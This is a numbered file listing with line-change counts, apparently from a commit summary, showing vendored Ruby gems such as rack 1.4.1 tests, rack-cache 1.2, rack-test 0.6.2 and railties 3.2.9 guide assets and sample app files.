  1257. data/vendor/bundle/gems/rack-1.4.1/test/spec_sendfile.rb +86 -0
  1258. data/vendor/bundle/gems/rack-1.4.1/test/spec_server.rb +74 -0
  1259. data/vendor/bundle/gems/rack-1.4.1/test/spec_session_abstract_id.rb +43 -0
  1260. data/vendor/bundle/gems/rack-1.4.1/test/spec_session_cookie.rb +294 -0
  1261. data/vendor/bundle/gems/rack-1.4.1/test/spec_session_memcache.rb +319 -0
  1262. data/vendor/bundle/gems/rack-1.4.1/test/spec_session_pool.rb +206 -0
  1263. data/vendor/bundle/gems/rack-1.4.1/test/spec_showexceptions.rb +87 -0
  1264. data/vendor/bundle/gems/rack-1.4.1/test/spec_showstatus.rb +79 -0
  1265. data/vendor/bundle/gems/rack-1.4.1/test/spec_static.rb +69 -0
  1266. data/vendor/bundle/gems/rack-1.4.1/test/spec_thin.rb +86 -0
  1267. data/vendor/bundle/gems/rack-1.4.1/test/spec_urlmap.rb +213 -0
  1268. data/vendor/bundle/gems/rack-1.4.1/test/spec_utils.rb +524 -0
  1269. data/vendor/bundle/gems/rack-1.4.1/test/spec_webrick.rb +143 -0
  1270. data/vendor/bundle/gems/rack-1.4.1/test/static/index.html +1 -0
  1271. data/vendor/bundle/gems/rack-1.4.1/test/testrequest.rb +78 -0
  1272. data/vendor/bundle/gems/rack-1.4.1/test/unregistered_handler/rack/handler/unregistered.rb +7 -0
  1273. data/vendor/bundle/gems/rack-1.4.1/test/unregistered_handler/rack/handler/unregistered_long_one.rb +7 -0
  1274. data/vendor/bundle/gems/rack-cache-1.2/CHANGES +241 -0
  1275. data/vendor/bundle/gems/rack-cache-1.2/COPYING +18 -0
  1276. data/vendor/bundle/gems/rack-cache-1.2/Gemfile +2 -0
  1277. data/vendor/bundle/gems/rack-cache-1.2/README +126 -0
  1278. data/vendor/bundle/gems/rack-cache-1.2/Rakefile +139 -0
  1279. data/vendor/bundle/gems/rack-cache-1.2/TODO +27 -0
  1280. data/vendor/bundle/gems/rack-cache-1.2/doc/configuration.markdown +127 -0
  1281. data/vendor/bundle/gems/rack-cache-1.2/doc/faq.markdown +148 -0
  1282. data/vendor/bundle/gems/rack-cache-1.2/doc/index.markdown +121 -0
  1283. data/vendor/bundle/gems/rack-cache-1.2/doc/layout.html.erb +34 -0
  1284. data/vendor/bundle/gems/rack-cache-1.2/doc/license.markdown +24 -0
  1285. data/vendor/bundle/gems/rack-cache-1.2/doc/rack-cache.css +362 -0
  1286. data/vendor/bundle/gems/rack-cache-1.2/doc/server.ru +34 -0
  1287. data/vendor/bundle/gems/rack-cache-1.2/doc/storage.markdown +164 -0
  1288. data/vendor/bundle/gems/rack-cache-1.2/example/sinatra/app.rb +21 -0
  1289. data/vendor/bundle/gems/rack-cache-1.2/example/sinatra/views/index.erb +44 -0
  1290. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/appengine.rb +52 -0
  1291. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/cachecontrol.rb +194 -0
  1292. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/context.rb +286 -0
  1293. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/entitystore.rb +341 -0
  1294. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/key.rb +52 -0
  1295. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/metastore.rb +418 -0
  1296. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/options.rb +166 -0
  1297. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/request.rb +33 -0
  1298. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/response.rb +255 -0
  1299. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache/storage.rb +62 -0
  1300. data/vendor/bundle/gems/rack-cache-1.2/lib/rack/cache.rb +45 -0
  1301. data/vendor/bundle/gems/rack-cache-1.2/lib/rack-cache.rb +1 -0
  1302. data/vendor/bundle/gems/rack-cache-1.2/rack-cache.gemspec +75 -0
  1303. data/vendor/bundle/gems/rack-cache-1.2/test/cache_test.rb +38 -0
  1304. data/vendor/bundle/gems/rack-cache-1.2/test/cachecontrol_test.rb +145 -0
  1305. data/vendor/bundle/gems/rack-cache-1.2/test/context_test.rb +916 -0
  1306. data/vendor/bundle/gems/rack-cache-1.2/test/entitystore_test.rb +268 -0
  1307. data/vendor/bundle/gems/rack-cache-1.2/test/key_test.rb +50 -0
  1308. data/vendor/bundle/gems/rack-cache-1.2/test/metastore_test.rb +338 -0
  1309. data/vendor/bundle/gems/rack-cache-1.2/test/options_test.rb +77 -0
  1310. data/vendor/bundle/gems/rack-cache-1.2/test/pony.jpg +0 -0
  1311. data/vendor/bundle/gems/rack-cache-1.2/test/request_test.rb +19 -0
  1312. data/vendor/bundle/gems/rack-cache-1.2/test/response_test.rb +184 -0
  1313. data/vendor/bundle/gems/rack-cache-1.2/test/spec_setup.rb +232 -0
  1314. data/vendor/bundle/gems/rack-cache-1.2/test/storage_test.rb +94 -0
  1315. data/vendor/bundle/gems/rack-ssl-1.3.2/LICENSE +22 -0
  1316. data/vendor/bundle/gems/rack-ssl-1.3.2/README.md +13 -0
  1317. data/vendor/bundle/gems/rack-ssl-1.3.2/lib/rack/ssl.rb +88 -0
  1318. data/vendor/bundle/gems/rack-test-0.6.2/Gemfile +6 -0
  1319. data/vendor/bundle/gems/rack-test-0.6.2/Gemfile.lock +31 -0
  1320. data/vendor/bundle/gems/rack-test-0.6.2/History.txt +166 -0
  1321. data/vendor/bundle/gems/rack-test-0.6.2/MIT-LICENSE.txt +19 -0
  1322. data/vendor/bundle/gems/rack-test-0.6.2/README.rdoc +85 -0
  1323. data/vendor/bundle/gems/rack-test-0.6.2/Rakefile +33 -0
  1324. data/vendor/bundle/gems/rack-test-0.6.2/Thorfile +114 -0
  1325. data/vendor/bundle/gems/rack-test-0.6.2/lib/rack/mock_session.rb +66 -0
  1326. data/vendor/bundle/gems/rack-test-0.6.2/lib/rack/test/cookie_jar.rb +182 -0
  1327. data/vendor/bundle/gems/rack-test-0.6.2/lib/rack/test/methods.rb +82 -0
  1328. data/vendor/bundle/gems/rack-test-0.6.2/lib/rack/test/mock_digest_request.rb +29 -0
  1329. data/vendor/bundle/gems/rack-test-0.6.2/lib/rack/test/uploaded_file.rb +50 -0
  1330. data/vendor/bundle/gems/rack-test-0.6.2/lib/rack/test/utils.rb +136 -0
  1331. data/vendor/bundle/gems/rack-test-0.6.2/lib/rack/test.rb +304 -0
  1332. data/vendor/bundle/gems/rack-test-0.6.2/rack-test.gemspec +77 -0
  1333. data/vendor/bundle/gems/rack-test-0.6.2/spec/fixtures/bar.txt +1 -0
  1334. data/vendor/bundle/gems/rack-test-0.6.2/spec/fixtures/config.ru +3 -0
  1335. data/vendor/bundle/gems/rack-test-0.6.2/spec/fixtures/fake_app.rb +143 -0
  1336. data/vendor/bundle/gems/rack-test-0.6.2/spec/fixtures/foo.txt +1 -0
  1337. data/vendor/bundle/gems/rack-test-0.6.2/spec/rack/test/cookie_spec.rb +219 -0
  1338. data/vendor/bundle/gems/rack-test-0.6.2/spec/rack/test/digest_auth_spec.rb +46 -0
  1339. data/vendor/bundle/gems/rack-test-0.6.2/spec/rack/test/multipart_spec.rb +145 -0
  1340. data/vendor/bundle/gems/rack-test-0.6.2/spec/rack/test/uploaded_file_spec.rb +22 -0
  1341. data/vendor/bundle/gems/rack-test-0.6.2/spec/rack/test/utils_spec.rb +122 -0
  1342. data/vendor/bundle/gems/rack-test-0.6.2/spec/rack/test_spec.rb +510 -0
  1343. data/vendor/bundle/gems/rack-test-0.6.2/spec/spec_helper.rb +66 -0
  1344. data/vendor/bundle/gems/rack-test-0.6.2/spec/support/matchers/body.rb +9 -0
  1345. data/vendor/bundle/gems/rack-test-0.6.2/spec/support/matchers/challenge.rb +11 -0
  1346. data/vendor/bundle/gems/railties-3.2.9/CHANGELOG.md +85 -0
  1347. data/vendor/bundle/gems/railties-3.2.9/README.rdoc +35 -0
  1348. data/vendor/bundle/gems/railties-3.2.9/bin/rails +7 -0
  1349. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/belongs_to.png +0 -0
  1350. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/book_icon.gif +0 -0
  1351. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/bullet.gif +0 -0
  1352. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/challenge.png +0 -0
  1353. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/chapters_icon.gif +0 -0
  1354. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/check_bullet.gif +0 -0
  1355. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/credits_pic_blank.gif +0 -0
  1356. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/csrf.png +0 -0
  1357. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/customized_error_messages.png +0 -0
  1358. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/edge_badge.png +0 -0
  1359. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/error_messages.png +0 -0
  1360. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/feature_tile.gif +0 -0
  1361. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/footer_tile.gif +0 -0
  1362. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/fxn.png +0 -0
  1363. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/grey_bullet.gif +0 -0
  1364. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/habtm.png +0 -0
  1365. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/has_many.png +0 -0
  1366. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/has_many_through.png +0 -0
  1367. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/has_one.png +0 -0
  1368. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/has_one_through.png +0 -0
  1369. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/header_backdrop.png +0 -0
  1370. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/header_tile.gif +0 -0
  1371. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/i18n/demo_html_safe.png +0 -0
  1372. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/i18n/demo_localized_pirate.png +0 -0
  1373. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/i18n/demo_translated_en.png +0 -0
  1374. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/i18n/demo_translated_pirate.png +0 -0
  1375. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/i18n/demo_translation_missing.png +0 -0
  1376. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/i18n/demo_untranslated.png +0 -0
  1377. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/README +5 -0
  1378. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/1.png +0 -0
  1379. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/10.png +0 -0
  1380. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/11.png +0 -0
  1381. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/12.png +0 -0
  1382. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/13.png +0 -0
  1383. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/14.png +0 -0
  1384. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/15.png +0 -0
  1385. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/2.png +0 -0
  1386. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/3.png +0 -0
  1387. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/4.png +0 -0
  1388. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/5.png +0 -0
  1389. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/6.png +0 -0
  1390. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/7.png +0 -0
  1391. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/8.png +0 -0
  1392. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/callouts/9.png +0 -0
  1393. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/caution.png +0 -0
  1394. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/example.png +0 -0
  1395. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/home.png +0 -0
  1396. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/important.png +0 -0
  1397. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/next.png +0 -0
  1398. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/note.png +0 -0
  1399. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/prev.png +0 -0
  1400. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/tip.png +0 -0
  1401. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/up.png +0 -0
  1402. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/icons/warning.png +0 -0
  1403. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/jaimeiniesta.jpg +0 -0
  1404. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/nav_arrow.gif +0 -0
  1405. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/polymorphic.png +0 -0
  1406. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/posts_index.png +0 -0
  1407. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/radar.png +0 -0
  1408. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/rails_guides_kindle_cover.jpg +0 -0
  1409. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/rails_guides_logo.gif +0 -0
  1410. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/rails_logo_remix.gif +0 -0
  1411. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/rails_welcome.png +0 -0
  1412. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/session_fixation.png +0 -0
  1413. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/tab_grey.gif +0 -0
  1414. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/tab_info.gif +0 -0
  1415. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/tab_note.gif +0 -0
  1416. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/tab_red.gif +0 -0
  1417. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/tab_yellow.gif +0 -0
  1418. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/tab_yellow.png +0 -0
  1419. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/validation_error_messages.png +0 -0
  1420. data/vendor/bundle/gems/railties-3.2.9/guides/assets/images/vijaydev.jpg +0 -0
  1421. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/guides.js +7 -0
  1422. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushAS3.js +59 -0
  1423. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushAppleScript.js +75 -0
  1424. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushBash.js +59 -0
  1425. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js +65 -0
  1426. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js +100 -0
  1427. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js +97 -0
  1428. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js +91 -0
  1429. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js +55 -0
  1430. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js +41 -0
  1431. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js +52 -0
  1432. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js +67 -0
  1433. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js +52 -0
  1434. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js +57 -0
  1435. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js +58 -0
  1436. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js +72 -0
  1437. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js +88 -0
  1438. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js +33 -0
  1439. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js +74 -0
  1440. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js +64 -0
  1441. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushRuby.js +55 -0
  1442. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js +94 -0
  1443. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js +51 -0
  1444. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js +66 -0
  1445. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js +56 -0
  1446. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js +69 -0
  1447. data/vendor/bundle/gems/railties-3.2.9/guides/assets/javascripts/syntaxhighlighter/shCore.js +17 -0
  1448. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/fixes.css +16 -0
  1449. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/kindle.css +11 -0
  1450. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/main.css +453 -0
  1451. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/print.css +52 -0
  1452. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/reset.css +43 -0
  1453. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/style.css +13 -0
  1454. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCore.css +226 -0
  1455. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css +328 -0
  1456. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css +331 -0
  1457. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css +339 -0
  1458. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css +324 -0
  1459. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css +328 -0
  1460. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css +324 -0
  1461. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css +324 -0
  1462. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css +324 -0
  1463. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css +117 -0
  1464. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css +120 -0
  1465. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css +128 -0
  1466. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css +113 -0
  1467. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css +117 -0
  1468. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css +113 -0
  1469. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css +113 -0
  1470. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css +113 -0
  1471. data/vendor/bundle/gems/railties-3.2.9/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css +116 -0
  1472. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/Gemfile +38 -0
  1473. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/README.rdoc +261 -0
  1474. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/Rakefile +7 -0
  1475. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/images/rails.png +0 -0
  1476. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/javascripts/application.js +15 -0
  1477. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/javascripts/comments.js.coffee +3 -0
  1478. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/javascripts/home.js.coffee +3 -0
  1479. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/javascripts/posts.js.coffee +3 -0
  1480. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/stylesheets/application.css +13 -0
  1481. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/stylesheets/comments.css.scss +3 -0
  1482. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/stylesheets/home.css.scss +3 -0
  1483. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/stylesheets/posts.css.scss +3 -0
  1484. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss +56 -0
  1485. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/controllers/application_controller.rb +3 -0
  1486. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/controllers/comments_controller.rb +16 -0
  1487. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/controllers/home_controller.rb +5 -0
  1488. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/controllers/posts_controller.rb +84 -0
  1489. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/helpers/application_helper.rb +2 -0
  1490. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/helpers/comments_helper.rb +2 -0
  1491. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/helpers/home_helper.rb +2 -0
  1492. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/helpers/posts_helper.rb +5 -0
  1493. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/models/comment.rb +3 -0
  1494. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/models/post.rb +11 -0
  1495. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/models/tag.rb +3 -0
  1496. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/comments/_comment.html.erb +15 -0
  1497. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/comments/_form.html.erb +13 -0
  1498. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/home/index.html.erb +2 -0
  1499. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/layouts/application.html.erb +14 -0
  1500. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/posts/_form.html.erb +32 -0
  1501. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/posts/edit.html.erb +6 -0
  1502. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/posts/index.html.erb +27 -0
  1503. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/posts/new.html.erb +5 -0
  1504. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/posts/show.html.erb +31 -0
  1505. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/app/views/tags/_form.html.erb +12 -0
  1506. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/application.rb +59 -0
  1507. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/boot.rb +6 -0
  1508. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/database.yml +25 -0
  1509. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/environment.rb +5 -0
  1510. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/environments/development.rb +37 -0
  1511. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/environments/production.rb +67 -0
  1512. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/environments/test.rb +37 -0
  1513. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/initializers/backtrace_silencers.rb +7 -0
  1514. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/initializers/inflections.rb +15 -0
  1515. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/initializers/mime_types.rb +5 -0
  1516. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/initializers/secret_token.rb +7 -0
  1517. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/initializers/session_store.rb +8 -0
  1518. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/initializers/wrap_parameters.rb +14 -0
  1519. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/locales/en.yml +5 -0
  1520. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config/routes.rb +64 -0
  1521. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/config.ru +4 -0
  1522. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb +11 -0
  1523. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb +12 -0
  1524. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb +11 -0
  1525. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/db/schema.rb +43 -0
  1526. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/db/seeds.rb +7 -0
  1527. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/doc/README_FOR_APP +2 -0
  1528. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/public/404.html +26 -0
  1529. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/public/422.html +26 -0
  1530. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/public/500.html +25 -0
  1531. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/public/favicon.ico +0 -0
  1532. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/public/robots.txt +5 -0
  1533. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/script/rails +6 -0
  1534. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/fixtures/comments.yml +11 -0
  1535. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/fixtures/posts.yml +11 -0
  1536. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/fixtures/tags.yml +9 -0
  1537. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/functional/comments_controller_test.rb +7 -0
  1538. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/functional/home_controller_test.rb +9 -0
  1539. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/functional/posts_controller_test.rb +49 -0
  1540. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/performance/browsing_test.rb +12 -0
  1541. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/test_helper.rb +13 -0
  1542. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/unit/comment_test.rb +7 -0
  1543. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb +4 -0
  1544. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/unit/helpers/home_helper_test.rb +4 -0
  1545. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb +4 -0
  1546. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/unit/post_test.rb +7 -0
  1547. data/vendor/bundle/gems/railties-3.2.9/guides/code/getting_started/test/unit/tag_test.rb +7 -0
  1548. data/vendor/bundle/gems/railties-3.2.9/guides/rails_guides/generator.rb +310 -0
  1549. data/vendor/bundle/gems/railties-3.2.9/guides/rails_guides/helpers.rb +45 -0
  1550. data/vendor/bundle/gems/railties-3.2.9/guides/rails_guides/indexer.rb +69 -0
  1551. data/vendor/bundle/gems/railties-3.2.9/guides/rails_guides/levenshtein.rb +31 -0
  1552. data/vendor/bundle/gems/railties-3.2.9/guides/rails_guides/textile_extensions.rb +63 -0
